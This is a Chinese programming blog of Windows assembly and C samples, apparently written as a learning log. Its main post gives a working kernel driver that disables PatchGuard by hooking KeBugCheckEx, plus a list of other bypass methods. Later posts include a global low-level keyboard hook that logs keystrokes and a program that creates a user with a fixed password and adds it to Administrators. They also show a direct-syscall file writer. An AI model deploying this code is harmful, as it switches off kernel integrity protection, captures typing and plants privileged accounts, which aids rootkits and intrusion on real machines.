2013年1月25日星期五
64位驱动的asm与c混合编程
64位汇编的驱动环境的搭建就不说了。
汇编文件如下:
.data
EXTERN OrigKeBugCheckExRestorePointer:PROC
EXTERN KeBugCheckExHookPointer:PROC
.code
;
; Points the stack pointer at the supplied argument and returns to the caller.
;
public AdjustStackCallPointer
AdjustStackCallPointer PROC
mov rsp, rcx
xchg r8, rcx
jmp rdx
AdjustStackCallPointer ENDP
;
; Wraps the overwritten preamble of KeBugCheckEx.
;
public OrigKeBugCheckEx
OrigKeBugCheckEx PROC
mov [rsp+8h], rcx
mov [rsp+10h], rdx
mov [rsp+18h], r8
lea rax, [OrigKeBugCheckExRestorePointer]
jmp qword ptr [rax]
OrigKeBugCheckEx ENDP
END
编译命令:
ml64 lib.asm
link /lib lib.obj
上面可能有一些警告(我用ida64打开一看少了一个函数),我忽略了。请高手指点。
c文件如下:
#include <ntddk.h>
#include <ntifs.h>
#include <wdm.h>
DRIVER_UNLOAD Unload;
VOID Unload(__in PDRIVER_OBJECT DriverObject)
{
}
// Both of these routines reference the assembly code described above
extern VOID OrigKeBugCheckEx(IN ULONG BugCheckCode, IN ULONG_PTR BugCheckParameter1, IN ULONG_PTR BugCheckParameter2, IN ULONG_PTR BugCheckParameter3, IN ULONG_PTR
BugCheckParameter4);
extern VOID AdjustStackCallPointer(IN ULONG_PTR NewStackPointer, IN PVOID StartAddress, IN PVOID Argument);
// mov eax, ptr
// jmp eax
static CHAR HookStub[] = "\x48\xb8\x41\x41\x41\x41\x41\x41\x41\x41\xff\xe0";
// The offset into the ETHREAD structure that holds the start routine.
static ULONG ThreadStartRoutineOffset = 0;
// The pointer into KeBugCheckEx after what has been overwritten by the hook.
PVOID OrigKeBugCheckExRestorePointer;
VOID KeBugCheckExHook(IN ULONG BugCheckCode, IN ULONG_PTR BugCheckParameter1, IN ULONG_PTR BugCheckParameter2, IN ULONG_PTR BugCheckParameter3, IN ULONG_PTR BugCheckParameter4)
{
PUCHAR LockedAddress;
PCHAR ReturnAddress;
PMDL Mdl = NULL;
// Call the real KeBugCheckEx if this isn't the bug check code we're looking for.
if (BugCheckCode != 0x109)
{
//DebugPrint(("Passing through bug check %.4x to %p.", BugCheckCode, OrigKeBugCheckEx));
OrigKeBugCheckEx(BugCheckCode, BugCheckParameter1, BugCheckParameter2, BugCheckParameter3, BugCheckParameter4);
}
else
{
PCHAR CurrentThread = (PCHAR)PsGetCurrentThread();
PVOID StartRoutine = *(PVOID **)(CurrentThread + ThreadStartRoutineOffset);
PVOID StackPointer = IoGetInitialStack();
//DebugPrint(("Restarting the current worker thread %p at %p (SP=%p, off=%lu).", PsGetCurrentThread(), StartRoutine, StackPointer, ThreadStartRoutineOffset));
DbgPrint("拦截了0x109号蓝屏\n");
DbgPrint("Restarting the current worker thread %p at %p (SP=%p, off=%lu).\n", PsGetCurrentThread(), StartRoutine, StackPointer, ThreadStartRoutineOffset);
// Shift the stack pointer back to its initial value and call the routine.
//We subtract eight to ensure that the stack is aligned properly as thread entry point routines would expect.
AdjustStackCallPointer((ULONG_PTR)StackPointer - 0x8, StartRoutine, NULL);
}
// In either case, we should never get here.
__debugbreak();
}
VOID DisablePatchProtectionSystemThreadRoutine(IN PVOID Nothing)
{
UNICODE_STRING SymbolName;
NTSTATUS Status = STATUS_SUCCESS;
PUCHAR LockedAddress;
PUCHAR CurrentThread = (PUCHAR)PsGetCurrentThread();
PCHAR KeBugCheckExSymbol;
PMDL Mdl = NULL;
RtlInitUnicodeString(&SymbolName, L"KeBugCheckEx");
do
{
// Find the thread's start routine offset.
for (ThreadStartRoutineOffset = 0; ThreadStartRoutineOffset < 0x1000; ThreadStartRoutineOffset += 4)
{
if (*(PVOID **)(CurrentThread + ThreadStartRoutineOffset) == (PVOID)DisablePatchProtectionSystemThreadRoutine) //DisablePatchProtection2SystemThreadRoutine
break;
}
//DebugPrint(("Thread start routine offset is 0x%.4x.", ThreadStartRoutineOffset));
// If we failed to find the start routine offset for some strange reason, then return not supported.
if (ThreadStartRoutineOffset >= 0x1000)
{
Status = STATUS_NOT_SUPPORTED;
break;
}
// Get the address of KeBugCheckEx.
if (!(KeBugCheckExSymbol = MmGetSystemRoutineAddress(&SymbolName)))
{
Status = STATUS_PROCEDURE_NOT_FOUND;
break;
}
// Calculate the restoration pointer.
OrigKeBugCheckExRestorePointer = (PVOID)(KeBugCheckExSymbol + 0xf);
// Create an initialize the MDL.
if (!(Mdl = MmCreateMdl(NULL, (PVOID)KeBugCheckExSymbol, 0xf)))
{
Status = STATUS_INSUFFICIENT_RESOURCES;
break;
}
MmBuildMdlForNonPagedPool(Mdl);
// Probe & Lock.
if (!(LockedAddress = (PUCHAR)MmMapLockedPages(Mdl, KernelMode)))
{
IoFreeMdl(Mdl);
Status = STATUS_ACCESS_VIOLATION;
break;
}
// Set the aboslute address to our hook.
*(PULONG64)(HookStub + 0x2) = (ULONG64)KeBugCheckExHook;
//DebugPrint(("Copying hook stub to %p from %p (Symbol %p).", LockedAddress, HookStub, KeBugCheckExSymbol));
// Copy the relative jmp into the hook routine.
RtlCopyMemory(LockedAddress, HookStub, 0xf);
// Cleanup the MDL.
MmUnmapLockedPages(LockedAddress, Mdl);
IoFreeMdl(Mdl);
} while (0);
KeBugCheckEx(0x109,0,0,0,0);//测试专用。
}
// A pointer to KeBugCheckExHook
PVOID KeBugCheckExHookPointer = KeBugCheckExHook;
NTSTATUS DisablePatchProtection()
{
OBJECT_ATTRIBUTES Attributes;
NTSTATUS Status;
HANDLE ThreadHandle = NULL;
InitializeObjectAttributes(&Attributes, NULL, OBJ_KERNEL_HANDLE, NULL, NULL);
// Create the system worker thread so that we can automatically find the offset inside the ETHREAD structure to the thread's start routine.
Status = PsCreateSystemThread(&ThreadHandle, THREAD_ALL_ACCESS, &Attributes, NULL, NULL, DisablePatchProtectionSystemThreadRoutine, NULL);
if (ThreadHandle)
ZwClose(ThreadHandle);
return Status;
}
DRIVER_INITIALIZE DriverEntry;
NTSTATUS DriverEntry( __in struct _DRIVER_OBJECT * DriverObject, __in PUNICODE_STRING RegistryPath)
{
NTSTATUS status = STATUS_UNSUCCESSFUL;
//KdBreakPoint();//#define KdBreakPoint() DbgBreakPoint()
DriverObject->DriverUnload = Unload;
DisablePatchProtection();
return 0;
}
关键是在source文件里面加入一行:
TARGETLIBS=lib.lib
那个文件也要复制到相应的位置。与源文件在一个目录里面。
键入bld
enter!
ok!
你看效果吧。
顺便说一下破除PatchGuard的思路:
1.改变或者添加启动模式,如安全,调试,签名等。
2.替换内核文件,那就是吧加载PatchGuard的机制给去掉。
3.从定时器队列中摘除,我没有试验成功,代码没有编译过。
4.就是本文的用到的KeBugCheckEx Hook。
5.异常处理,参考:http://uninformed.org/index.cgi?v=3&a=3&p=16
6.一些hook库。
7.其他,等你告诉我。
注释:隐藏进程的摘链,inline hook都会被PatchGuard发现。
/////////////////////////////////////////////////////////////////////
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
其实还有更简单的:
第一个办法:
在source文件中直接加入:
AMD64_SOURCES = amd64\asm.asm #这是64位的,32位的可以改为I386_SOURCES
但是SOURCES里面就不要再加入asm.asm了。
第二个办法:
工程目录下新建一个名为amd64的文件夹,里面放置汇编文件,
然后再source里面直接添加汇编文件即可。
注意:
如果出现下面的情况:
1>d:\winddk\work\c\amd64\asm.asm(1) : error A2039:line too long
1>d:\winddk\work\c\amd64\asm.asm(1) : error A2088:END directive required at end of file
google一下说是某个版本的ml.exe问题,可能后来改进了。解决办法是:
用系统自带的记事本打开文件,一看源代码只有一行。注释:用别的编辑工具都是好好的。
在记事本里面手工格式化代码就ok!
made by correy
2013.02.18添加。
2013年1月23日星期三
ml64.asm
64位汇编怎能不会。
以前以为64位汇编和32位汇编差不多,学好32位汇编就可以了。
直到用到了,才知道还有点小麻烦。
最主要的是环境的搭建.
支持64位汇编的环境有好几个,这里就不列举了。
因为是Windows上的编程,所以要首选ml64.exe了。
暂时没有发现微软的64位汇编环境,也许孤陋寡闻,也许懒得搜索。
知道masm32的原理,那就自己来吧!
所有的产品来自微软,如:mvs,sdk,wdk,所以需要先安装以上的东西。
收集过程就不说了,假定你已经熟悉mvs和masm32了。
罗嗦一句,那些东西要来自64位的目录。
具体的编写与编译有点小区别,这就令当别论了。
实验一下:
; Sample x64 Assembly Program
; Chris Lomont 2009 www.lomont.org
extrn ExitProcess: PROC ; external functions in system libraries
extrn MessageBoxA: PROC
.data
caption db '64-bit hello!', 0
message db 'Hello World!', 0
.code
Start PROC
sub rsp,28h ; shadow space, aligns stack
mov rcx, 0 ; hWnd = HWND_DESKTOP
lea rdx, message ; LPCSTR lpText
lea r8, caption ; LPCSTR lpCaption
mov r9d, 0 ; uType = MB_OK
call MessageBoxA ; call MessageBox API function
mov ecx, eax ; uExitCode = MessageBox(...)
call ExitProcess
Start ENDP
End
编译命令:ml64 hello.asm /link /subsystem:windows /defaultlib:kernel32.lib /defaultlib:user32.lib /entry:Start
从此开始我的64位汇编之旅。
汇编很少用,有时候必须用(或者用变相的方式),因为64位不支持内联汇编。
其实最根本的还是汇编,因为机器运行的是指令,相信汇编,坚信!
2012年7月5日星期四
tls.asm
首先声明:本文搜集自网络。
tasm版本的,fasm的你就自己实现吧!
.586p
.model flat, stdcall
locals
jumps
extrn MessageBoxA:proc
extrn ExitProcess:proc
.data
Tls:
dd offset Tls1
dd offset Tls2
dd offset Tls3
dd offset TlsCallBack
dd 0
dd 0
Tls1 dd 0
Tls2 dd 0
Tls3 dd 0
TlsCallBack dd offset TlsProc
dd 0
dd 0
TlsProc proc DllHandle:dword, reason:dword, Reserved:dword
cmp reason, 1
jne __skip
push 40h
push offset mTitle
push offset mText
push 0
call MessageBoxA
push 0
call ExitProcess
__skip: ret 0ch
TlsProc endp
mText db "Nope, there is no code at entry point", 0
mTitle db "TLS", 0
.code
start:
ret
end start
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
masm版本的:
.386
.model flat,stdcall
option casemap:none
include windows.inc
include user32.inc
includelib user32.lib
.code
;; 定义一个TLS节
OPTION DOTNAME
.tls SEGMENT
TLS_Start LABEL DWORD
dd 0900h dup ("0")
TLS_End LABEL DWORD
.tls ENDS
OPTION NODOTNAME
;这里需要注意的是,必须要将此结构声明为PUBLIC,用于让连接器连接到指定的位置,
;其次结构名必须为_tls_uesd这是微软的一个规定。编译器引入的位置名称也如此。
PUBLIC _tls_used
_tls_used IMAGE_TLS_DIRECTORY <TLS_Start, TLS_End, dwTLS_Index, TLS_CallBackStart, 0, 0>
dwTLS_Index dd ?
TLS_CallBackStart dd TlsCallBack0
szTitle db "Hello TLS",0
TlsCallBack0 proc Dllhandle:LPVOID,dwReason:DWORD,lpvReserved:LPVOID
.if dwReason== DLL_PROCESS_ATTACH
invoke MessageBox,0,addr szTitle,addr szTitle,0
.endif
;在这里还可以ExitProcess。
ret
TlsCallBack0 ENDP
Start:ret
end Start
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
c/c++版本的:
#include <windows.h>
#include <winnt.h>
//下面这行告诉链接器在PE文件中要创建TLS目录
#pragma comment(linker, "/INCLUDE:__tls_used")
/*这是PIMAGE_TLS_CALLBACK()函数的原型,其中第一个和第三个参数保留,第二个参数决定函数在那种情况下*/
void NTAPI my_tls_callback(PVOID h, DWORD reason, PVOID pv)
{
/*一共有四个选项DLL_PROCESS_ATTACH、DLL_THREAD_ATTACH、DLL_THREAD_DETACH和DLL_PROCESS_DETACH。详见微软发布的《Microsoft Portable Executable and Common Object File Format Specification v8》*/
//仅在进程初始化创建主线程时执行的代码
if( reason == DLL_PROCESS_ATTACH ){
MessageBox(NULL,L"hi,this is tls callback",L"title",MB_OK);
}
return;
}
/*下面这段是创建一个tls段
".CRT$XLB"的含义是:
.CRT表明是使用C RunTime机制
$后面的XLB中
X表示随机的标识
L表示是TLS callback section
B可以被换成B到Y的任意一个字母,但是不能使用".CRT$XLA"和".CRT$XLZ"
因为".CRT$XLA"和".CRT$XLZ"是用于tlssup.obj的
*/
#pragma data_seg(".CRT$XLB")
/*如果要定义多个TLS_CallBack函数,可以把下面这句写成:
PIMAGE_TLS_CALLBACK p_thread_callback [] = {tls_callback_A, tls_callback_B, tls_callback_C,0};
其中tls_callback_B和tls_callback_C应该是你定义好的其他TLS_callBack函数
*/
PIMAGE_TLS_CALLBACK p_thread_callback = my_tls_callback;
#pragma data_seg()
int main(void)
{
MessageBox(NULL,L"hi,this is main()",L"title",MB_OK);
return 0;
}
GetMessage.Asm
;一直对消息的理解不是很透彻,早就想写这样的文章。
;自己检测输出自己的信息,是不能自己建立窗口发送信息。这样会混淆消息的,是自己特意发送的,还是系统发送的,自己操作的。
;大多的实现办法是打开一个记书本,然后把信息输出到记事本里面。
;本篇文章,我自创新意,把信息输出到控制台里面。这个不错吧!
;截获消息有两个地方,一个是消息循环,一个是回调处理函数,不知到这两个那个好,经测试,大概是回调函数准确。
;其实这个想法有很久了。今天算是实现了。
.386
.model flat,stdcall
option casemap:none
include windows.inc
include kernel32.inc
include user32.inc
includelib user32.lib
includelib kernel32.lib
.code
hInstance dd ?
hWinMain dd ?
stMsg MSG <>
szClassName db "correy",0
szCaptionMain db "made by correy",0
pwndclassex dd 48,3,offset liuchunli,0,0,0,0,0,6,0,offset szClassName,0
hstdout dd 0
hstdin dd 0
x dd 0
sz_format_Message db "hwnd:%08xh "
db "message:%08lxh "
db "wparam:%08lxh "
db "lparam:%08lxh "
db "time:%08xh " ;//一下三个是加上的,不知正确不?
db "x:%08lxh "
db "y:%08lxh"
db 13,10,0
buffer db 260 dup (0)
liuchunli proc hWnd:HWND,uMsg:UINT,wParam:WPARAM,lParam:LPARAM
lea eax,stMsg
invoke wsprintf,addr buffer,addr sz_format_Message,hWnd,uMsg,wParam,lParam,stMsg+16,dword ptr [eax],dword ptr [eax+4]
invoke lstrlen,addr buffer
invoke WriteFile,hstdout,addr buffer,eax,addr x,0
.IF uMsg==WM_DESTROY
invoke PostQuitMessage,0
.ELSE
invoke DefWindowProc,hWnd,uMsg,wParam,lParam
ret
.ENDIF
xor eax,eax
ret
liuchunli endp
start:
invoke GetStdHandle,-10
mov hstdin,eax
invoke GetStdHandle,-11
mov hstdout,eax
invoke SetConsoleTitle,addr szCaptionMain
invoke SetConsoleScreenBufferSize,hstdout,01000099h;高字是高度,低字是宽度。
invoke GetModuleHandle,0
mov hInstance,eax
mov pwndclassex+20,eax
invoke LoadIcon,hInstance,1;其实这四行也可以去掉。
mov pwndclassex+24,eax
invoke LoadCursor,0,32512
mov pwndclassex+28,eax
invoke RegisterClassEx,addr pwndclassex
invoke CreateWindowEx,200h,offset szClassName,offset szCaptionMain,0cf0000h,80000000h,80000000h,768,399,0,0,hInstance,0;0cf0000h 0ca0000h
mov hWinMain,eax
invoke ShowWindow,hWinMain,1;不想显示这一两行也可以不要。
invoke UpdateWindow,hWinMain ;此行可以去掉
again:invoke GetMessage,addr stMsg,0,0,0;invoke GetMessage,addr stMsg,0,0,0;invoke GetMessage,addr stMsg,hWinMain,0,0 ;只获取本窗口的。
cmp eax,0
je exit
;invoke TranslateMessage,addr stMsg;这一行也可以去掉,特别是不处理字符信息。
invoke DispatchMessage,addr stMsg
jmp again
exit:invoke ExitProcess,0
end start
;made at 2011.10.25
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
.386
.model flat,stdcall
option casemap:none
include windows.inc
include kernel32.inc
include user32.inc
includelib user32.lib
includelib kernel32.lib
.code
hInstance dd ?
hWinMain dd ?
stMsg MSG <>
szClassName db "correy",0
szCaptionMain db "made by correy",0
pwndclassex dd 48,3,offset liuchunli,0,0,0,0,0,6,0,offset szClassName,0
hstdout dd 0
hstdin dd 0
x dd 0
sz_format_Message db "hwnd:%08xh "
db "message:%08lxh "
db "wparam:%08lxh "
db "lparam:%08lxh "
db "time:%08xh "
db "x:%08lxh "
db "y:%08lxh"
db 13,10,0
buffer db 260 dup (0)
liuchunli proc hWnd:HWND,uMsg:UINT,wParam:WPARAM,lParam:LPARAM
.IF uMsg==WM_DESTROY
invoke PostQuitMessage,0
.ELSE
invoke DefWindowProc,hWnd,uMsg,wParam,lParam
ret
.ENDIF
xor eax,eax
ret
liuchunli endp
start:
invoke GetStdHandle,-10
mov hstdin,eax
invoke GetStdHandle,-11
mov hstdout,eax
invoke SetConsoleTitle,addr szCaptionMain
invoke SetConsoleScreenBufferSize,hstdout,01000099h;高字是高度,低字是宽度。
invoke GetModuleHandle,0
mov hInstance,eax
mov pwndclassex+20,eax
invoke LoadIcon,hInstance,1;其实这四行也可以去掉。
mov pwndclassex+24,eax
invoke LoadCursor,0,32512
mov pwndclassex+28,eax
invoke RegisterClassEx,addr pwndclassex
invoke CreateWindowEx,200h,offset szClassName,offset szCaptionMain,0cf0000h,80000000h,80000000h,768,399,0,0,hInstance,0;0cf0000h 0ca0000h
mov hWinMain,eax
invoke ShowWindow,hWinMain,1;不想显示这一两行也可以不要。
invoke UpdateWindow,hWinMain ;此行可以去掉。
again:invoke GetMessage,addr stMsg,hWinMain,0,0;invoke GetMessage,addr stMsg,0,0,0;invoke GetMessage,addr stMsg,hWinMain,0,0 ;只获取本窗口的。
lea eax,stMsg
invoke wsprintf,addr buffer,addr sz_format_Message,stMsg,stMsg+4,stMsg+8,stMsg+12,stMsg+16,dword ptr [eax],dword ptr [eax+4];,uMsg+24
invoke lstrlen,addr buffer
invoke WriteFile,hstdout,addr buffer,eax,addr x,0
cmp eax,0
je exit
;invoke TranslateMessage,addr stMsg;这一行也可以去掉,特别是不处理字符信息。
invoke DispatchMessage,addr stMsg
jmp again
exit:invoke ExitProcess,0
end start
;made at 2011.10.25
No_dll_global_hook.Asm
;本文改编自网上的c/c++代码。
;本文的功能是没有dll实现全局的hook.
.386
.model flat,stdcall
option casemap:none
include windows.inc
include kernel32.inc
includelib kernel32.lib
include user32.inc
includelib user32.lib
.data?
buffer db 512 dup (?)
.code
hstdout dd 0
hstdin dd 0
x dd 0
correy db "made by correy",0
g_kb_hook dd 0
stMsg MSG <>
keydown db "keydown - vkCode %04x, scanCode %04x",13,10,0
keyup db "keyup - vkCode %04x, scanCode %04x",13,10,0
syskeydown db "syskeydown - vkCode %04x, scanCode %04x",13,10,0
syskeyup db "syskeyup - vkCode %04x, scanCode %04x",13,10,0
LowLevelKeyboardProc proc code:UINT, wParam:WPARAM, lParam:LPARAM
mov eax,lParam
.if wParam == WM_KEYDOWN
invoke wsprintf,addr buffer,addr keydown,dword ptr [eax],dword ptr [eax + 4]
invoke lstrlen,addr buffer
invoke WriteFile,hstdout,addr buffer,eax,addr x,0
.elseif wParam == WM_KEYUP
invoke wsprintf,addr buffer,addr keyup,dword ptr [eax],dword ptr [eax + 4]
invoke lstrlen,addr buffer
invoke WriteFile,hstdout,addr buffer,eax,addr x,0
.elseif wParam == WM_SYSKEYDOWN
invoke wsprintf,addr buffer,addr syskeydown,dword ptr [eax],dword ptr [eax + 4]
invoke lstrlen,addr buffer
invoke WriteFile,hstdout,addr buffer,eax,addr x,0
.elseif wParam == WM_SYSKEYUP
invoke wsprintf,addr buffer,addr syskeyup,dword ptr [eax],dword ptr [eax + 4]
invoke lstrlen,addr buffer
invoke WriteFile,hstdout,addr buffer,eax,addr x,0
.else
nop
.endif
invoke CallNextHookEx,g_kb_hook,code,wParam,lParam
ret
LowLevelKeyboardProc endp
start:
invoke GetStdHandle,-10
mov hstdin,eax
invoke GetStdHandle,-11
mov hstdout,eax
invoke SetConsoleTitle,addr correy
invoke SetConsoleScreenBufferSize,hstdout,01000099h;高字是高度,低字是宽度。
invoke GetModuleHandle,0
invoke SetWindowsHookEx,WH_KEYBOARD_LL, addr LowLevelKeyboardProc,eax,0
again:invoke GetMessage,addr stMsg,0,0,0
cmp eax,0
je exit
invoke DispatchMessage,addr stMsg
jmp again
exit:
invoke UnhookWindowsHookEx,g_kb_hook
invoke ExitProcess,0
end start
;made at 2011.10.23
;//////////////////////////////////////////////////////////////////////////////////
;下面是c/c++代码。
#include <windows.h>
HHOOK g_kb_hook = 0;
LRESULT CALLBACK kb_proc (int code, WPARAM w, LPARAM l)
{
PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT)l;
const char *info = NULL;
if (w == WM_KEYDOWN) info = "key dn";
else if (w == WM_KEYUP) info = "key up";
else if (w == WM_SYSKEYDOWN) info = "sys key dn";
else if (w == WM_SYSKEYUP) info = "sys key up";
printf ("%s - vkCode [%04x], scanCode [%04x]\n", info, p->vkCode, p->scanCode);
return CallNextHookEx (g_kb_hook, code, w, l);
};
int main (void)
{
g_kb_hook = SetWindowsHookEx ( WH_KEYBOARD_LL, &kb_proc, GetModuleHandle (NULL),0)
MSG msg;
while (GetMessage (&msg, NULL, 0, 0))
{
DispatchMessage (&msg);
};
UnhookWindowsHookEx (g_kb_hook);
return 0;
};
NetUserAdd.Asm
;此文是修改网上的汇编代码。修改成我喜欢的方式。
;羞于贴出来,但为了知识,还是发出来。
;此文虽小,但发现一个知识宝库,等待去挖掘。
.386
.model flat, stdcall
option casemap :none
include windows.inc
include Netapi32.inc
includelib Netapi32.lib
.code
ui1 USER_INFO_1 <offset szUser,offset szPass,0,USER_PRIV_USER,0,0,UF_NORMAL_ACCOUNT,0>
lmi3 LOCALGROUP_MEMBERS_INFO_3 <offset szUser>
dwErr DWORD 0
szUser dw "c","o","r","r","e","y",0
szPass dw "c","o","r","r","e","y",0
szAdministrators dw "A","d","m","i","n","i","s","t","r","a","t","o","r","s",0
start:invoke NetUserAdd,NULL, 1,addr ui1,addr dwErr
invoke NetLocalGroupAddMembers,NULL,addr szAdministrators,3,addr lmi3,1
ret ;invoke ExitProcess,0
end start
;made at 2011,10.16
;羞于贴出来,但为了知识,还是发出来。
;此文虽小,但发现一个知识宝库,等待去挖掘。
.386
.model flat, stdcall
option casemap :none
include windows.inc
include Netapi32.inc
includelib Netapi32.lib
.code
ui1 USER_INFO_1 <offset szUser,offset szPass,0,USER_PRIV_USER,0,0,UF_NORMAL_ACCOUNT,0>
lmi3 LOCALGROUP_MEMBERS_INFO_3 <offset szUser>
dwErr DWORD 0
szUser dw "c","o","r","r","e","y",0
szPass dw "c","o","r","r","e","y",0
szAdministrators dw "A","d","m","i","n","i","s","t","r","a","t","o","r","s",0
start:invoke NetUserAdd,NULL, 1,addr ui1,addr dwErr
invoke NetLocalGroupAddMembers,NULL,addr szAdministrators,3,addr lmi3,1
ret ;invoke ExitProcess,0
end start
;made at 2011,10.16
NO_API.ASM
;刚开始接触汇编的时候,心想:能不能不用中断,不用api来建立一个文件。
;今天终于在应用层实现了不用api建立文件。
;在驱动中不发送irp,不用中断能建立文件不?正在思考中!
;不足之处,敬请指导。
.386
.model flat, stdcall
option casemap:none
.data
align 4
iosb dd 2 dup (0)
fileHandle dd 0
align 2
szcorrey dw '\','?','?','\','c',':','\','c','o','r','r','e','y','.','t','x','t',0
align 4
fileName dw sizeof szcorrey -2
dw sizeof szcorrey
dd offset szcorrey
fileAttributes dd 18h,0,offset fileName,40h,0,0
buffer db "made by correy",13,10,
"QQ:112426112",13,10,
"Email:leguanyuan at 126 dot com",13,10,
"Homepage:http://correy.webs.com",13,10,0
.code
sysenter macro
dw 340fh
endm
myKiFastSystemCall proc ;这个用宏实现可以不?
mov edx,esp
sysenter ;在2000中可以使用int 2eh
ret
myKiFastSystemCall endp
myCreateFile proc hProcess:dword,uExitCode:dword ,x1:dword,x2:dword,x3:dword,x4:dword,x5:dword,x6:dword,x7:dword,x8:dword,xx:dword
pop ebp ;此处主要是栈平衡。
mov eax,25h ;此处根据操作系统而改变。
call myKiFastSystemCall
retn 2ch
myCreateFile endp
myWriteFile proc hPros:dword,uExde:dword ,sss:dword,aa:dword,aadddd:dword,aaaa:dword,ww:dword,wwww:dword,wwwwd:dword
pop ebp
mov eax,112h
call myKiFastSystemCall
retn 36
myWriteFile endp
myNtclose proc hros:dword
pop ebp
mov eax,19h
call myKiFastSystemCall
ret
myNtclose endp
start:
;int 3
;我想不用自定义函数,应该也能实现,我想这应该容易实现。
invoke myCreateFile,addr fileHandle,1F01ffh,addr fileAttributes,addr iosb,0,1,0,2,060h,0,0
invoke myWriteFile,fileHandle,0,0,0,addr iosb,addr buffer,sizeof buffer-1,0,0
invoke myNtclose,fileHandle
ret
end start
;made at 2011.10.13
参考:夜月的Masm中调用ZwOpenSection时应该注意的问题 (1千字) http://www.pediy.com/bbshtml/BBS5/pediy50467.htm
感谢:月夜对我的众多帮助。推荐一个他的产品:惟思可视化集成开发环境。下载地址是:http://www.vsysv.com/ide。
订阅:
博文 (Atom)